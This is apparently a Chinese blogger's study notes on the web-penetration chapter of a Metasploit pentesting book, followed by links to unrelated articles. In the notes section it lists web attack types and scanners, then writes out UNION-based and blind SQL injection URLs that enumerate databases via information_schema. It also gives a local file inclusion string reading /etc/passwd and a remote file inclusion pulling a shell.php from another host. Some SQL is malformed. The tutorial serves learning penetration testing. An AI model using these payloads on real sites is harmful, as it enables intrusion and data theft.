继续来学习metasploit。。。记好笔记是很重要的,下面开始正文:
二.WEB应用渗透技术
    1.WEB应用渗透基础知识
       先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查询)
        Sql注入攻击:大致分为 普通注入和盲注
        跨站脚本(XSS): 分为存储型XSS,反射性XSS以及DOM型XSS
        跨站伪造请求(CSRF):以XSS方式注入一段脚本,受害者点击该脚本时,脚本伪造受害者发出请求。
        会话认证管理缺陷:验证身份的功能存在缺陷。
        安全误配置:开发和管理人员的失误导致存在漏洞。
        不安全密码存储:密码以明文形式存在或加密算法过于脆弱。
        不安全的对象参考:攻击者利用WEB系统本身的读取功能,任意存取文档,窃取敏感文件。
        限制URL访问失败:没有对私有页面的访问进行身份认证。
        缺乏传输层的保护:没有设置SSL/TLS等保护机制,直接被攻击者窃取敏感数据。
        未验证的重定向和跳转:攻击者通过未验证重定向页面诱使受害者点击,从而窃取受害者敏感数据。
        metasploit关于WEB应用渗透攻击的模块较少,但是kali渗透系统里有很多优秀的WEB渗透工具,弥补了metasploit的不足。
         1.1metasploit的辅助模块
             辅助模块基本都在 modules/auxiliary/,并且在最新的metasploit中内置了wmap WEB扫描器,允许用户配置辅助模块,对网站进行集中扫描。
         1.2渗透模块
              渗透模块分散在module中的多个文件夹下,有针对主流CMS的漏洞,也有针对各种数据库漏洞的模块,同时也包含了成功后用来操作的webshell。
              metasploit与W3AF,SQLMAP,wXf,XSSF,BeFF等WEB漏洞扫描器均有接口,可以更好的进行探测。
2.WEB应用漏洞扫描探测
       2.1.开源WEB应用漏洞扫描工具
             Wapiti:对SQL注入的扫描准确度很高
             W3AF:综合很优秀,都有较高的准确度。
             Sandcat Free Edition:对XSS跨站漏洞准确度很高
       2.2扫描神器W3AF
            W3AF分为八类模块:发现模块(查找HTTP信息,并探测服务器,数据库等信息),审计模块(探测漏洞),搜索模块(捕获信息),攻击模块 (读取扫描信息,并试图通过模块插件攻击),输出模块(输出扫描结果),修改模块(修改信息),入侵模块(绕过入侵检测系统),破解模块(破解需要认证的页面,支持基本认证机制和表单登陆机制的破解)
            具体使用方法不在详解。
       2.3  SQL注入漏洞探测
             sqlmap是一款优秀的SQL注入漏洞的扫描工具。具体用法不再详解。metasploit已经集成了此工具。
       2.4  XSS漏洞探测
            xsser,xssfuzz等工具,或者使用metasploit集成的W3AF。
       2.5  WEB应用程序漏洞探测
            wXf是WEB漏洞扫描和攻击框架,利用metasploit框架的构想。kali中没有集成这个工具,需自行下载。
  3.WEB应用程序渗透测试
       3.1 SQL注入分析
            在这里进行简单的讲解,具体更高级的内容请自己查询
            普通注入:
            http://www.XXX.net/do/plus/view.php?aid=236896'
            //看是否存在注入,若’被过滤,则不能判断。
             http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,2,3,4,5,6,7-- //这里用--注释后边的语句,避免语法错误。该语句是用来判断列数的,若返回错误信息,则证明判断错误,继续加数字进行判断。
               http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,9,10 from 表名--  //得到数据库版本和用户名。
               http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(schema_name),10 from information_schema.SCHEMA--   //查询所有表
                http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(table_name),10 from information_schema.tables where table_schema=database()--   //查询表中所有列
                http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(column_name),10 from information_schema.columns where table_name=列名十六进制--   //查询列中字段
               盲注:这里就只讲解字符的猜解的盲注。
                 http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>1
                  http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>2
                 如果第一句没报错,第二句报错了,则证明数据库名是两个字符。以此类推。。
                  http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>97
                     http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>98
                 如果第一句没报错,第二句报错了,则证明数据库名第一个字符的ASCII码是98,以此类推。。。。
                 http://www.XXX.net/do/plus/view.php?aid=236896 and (select count(table_name) from information_schema where table_schema=database())>15
                 这句是获得数据库表的个数
                 接下来都差不多,不在多述。
          3.2跨站攻击实例分析
               跨站脚本攻击框架(XSSF),具体教程请自行查询。
          3.3命令注入实例分析
               一般流程都是扫描到某应用或者插件的漏洞,然后去上网找关于该漏洞的利用代码进行渗透获取webshell,若能力高超,可以自己编写利用的代码或者把利用的代码自己转换成metasploit的exploit模块和payload模块。具体自行实践,我能力有限。。。将来水平上来了会出教程。。。
          3.4文件包含和文件上传漏洞
              文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。
              http://www.XXX.com/?page=././././etc/passwd   //使用“./”退出当前目录,多试几次
              http://www.XXX.com/?page=www.ooo.com/shell.php    //shell.php是事先在远程主机上准备好的shell。
              文件上传漏洞是由于网站没有经过严格的检查和过滤,可以提交恶意的文件来获取webshell。
        关于绕过上传请自行查询。

《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透的更多相关文章

  1. [HeadFist-HTMLCSS学习笔记][第四章Web镇之旅]

    重要 访问一个目录,即是访问他的index <a>链接到网站,必须加http:// <a>的title属性,能预先知道链接信息 id属性 使得<a> 能再本地跳转. ...

  2. [Python学习笔记][第四章Python字符串]

    2016/1/28学习内容 第四章 Python字符串与正则表达式之字符串 编码规则 UTF-8 以1个字节表示英语字符(兼容ASCII),以3个字节表示中文及其他语言,UTF-8对全世界所有国家需要 ...

  3. o'Reill的SVG精髓(第二版)学习笔记——第四章

    第四章:基本形状 4.1线段 SVG可以使用<line>元素画出一条直线段.使用时只需要指定线段起止点的x和y坐标即可.指定坐标时可以不带单位,此时会使用用户坐标,也可以带上单位,如em. ...

  4. 《metasploit渗透测试魔鬼训练营》学习笔记第五章--网络服务渗透攻击

    三.网络服务渗透攻击 3.1 内存攻防技术      3.1.1 缓冲区溢出漏洞机理              缓冲区溢出是程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为.           ...

  5. 如何用katalon录制回放一个web UI测试—— katalon学习笔记(四)

    ,首先打开katanlon,进入到katalon主界面,选择点击file->new->project ,在创建新项目弹出框中Name输入项输入项目的名称:Type选择web,也就是你要测试 ...

  6. Java 学习笔记 ------第四章 认识对象

    本章学习目标: 区分基本类型与类类型 了解对象与参考的关系 从打包器认识对象 以对象观点看待数组 认识字符串的特性 一."=" 和 "==" 当=用于基本类型时 ...

  7. [core java学习笔记][第四章对象与类]

    4.3 用户自定义类 4.3.1 类数组的声明 需要两次new Employee[]=staff=new Employedd[3]; staff[0]=new Employedd(参数列表); sta ...

  8. 【数据分析 R语言实战】学习笔记 第四章 数据的图形描述

    4.1 R绘图概述 以下两个函数,可以分别展示二维,三维图形的示例: >demo(graphics) >demo(persp) R提供了多种绘图相关的命令,可分成三类: 高级绘图命令:在图 ...

  9. c语言学习笔记第四章——字符串和格式化输入、输出

    B站有视频演示 本章学习printf函数的输入输出,字符串的定义与实用. 字符串 字符串(character string)是一个或多个字符的序列,如下所示: "Zing went the ...

随机推荐

  1. 阿里云服务器windows server流量不大的情况下,tomcat经常出现访问阻塞,手动ctrl+c或者点击右键又访问正常

    我被这个问题折磨了好几天,因为这两天要帮别人做推广,不能再出现这样的情况了,不然广告费就白烧了,所以特意查了一下资料,结果解决方案被我找出来了. 问题发生原因是因为打开编辑选项后,一不小心点到dos窗 ...

  2. 最全的HTTP 响应状态码列表!

    摘要: HTTP状态码,我们要学会现查现用能记住最好. 简单举例几个常用的状态码,比如200,302,304,404, 503. 一般来说我也只需要了解这些常用的状态码就可以了.如果是做AJAX,RE ...

  3. Rafy中的EventBus

    EventBus主要是干嘛使的,直接翻译叫事件总线. 是观察者模型的实现,利用它你既可以实现观察者模型的业务场景,还可以基于它的事件驱动机制来实现应用程序内组件之间的解耦与通信. 我们来看看有Even ...

  4. 单点登录-SSO

    单点登录 (Single Sign-On ) 1.同域单点登录 登录的时候,设置cookie的域即可. 2.跨域单点登录 重点是,如何在浏览器端保存登录的标识. 祭图:(脑补) 三个系统: a.aaa ...

  5. LeetCode ImplementStrstr

    class Solution { public: char *strStr(char *haystack, char *needle) { if (haystack == NULL || needle ...

  6. 在js里面比较大小必须先转换成number

    利用js里面的Number函数从对象转换成数值

  7. Javascript获取For循环所用时间

    第一种: let tOne = new Date().getTime(); let n = new Date(); let hour = n.getHours() < 10 ? "0& ...

  8. mysql中LOCATE和CASE WHEN...THEN...ELSE...END结合用法

    之前项目中需要写一个sql,就是查出某个调研详情中,选A答案,B答案,C答案...F答案的人各有多少人,这个sql也是费了很大的力气才写出来,故记下来,方便以后使用. 其中tbl_research_i ...

  9. html基础概念

    一.HyperText Markup Language   内容,html是弱代码语言,代码编写不严谨 1.超链接  <a href="#">超级链接(anchor)& ...

  10. Sql 列转行字符串

    select OrderID,ProdDetailID from A 表A : OrderID,ProdDetailID 1             6 1             7 1       ...